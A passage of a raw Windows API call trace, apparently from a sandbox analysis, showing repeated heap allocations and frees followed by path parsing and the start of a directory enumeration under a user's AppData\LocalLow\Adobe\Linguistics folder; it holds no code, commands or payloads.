(HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.153] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0272.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f58 [0272.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082288 [0272.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.153] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0272.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0272.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082288 | out: hHeap=0x640000) returned 1 [0272.154] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0272.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0272.154] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0272.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0272.154] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0272.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f58 | out: hHeap=0x640000) returned 1 [0272.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f58 [0272.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0272.154] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f58 | out: hHeap=0x640000) returned 1 [0272.154] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.154] PathFindFileNameW (pszPath="") returned="" [0272.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.154] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", 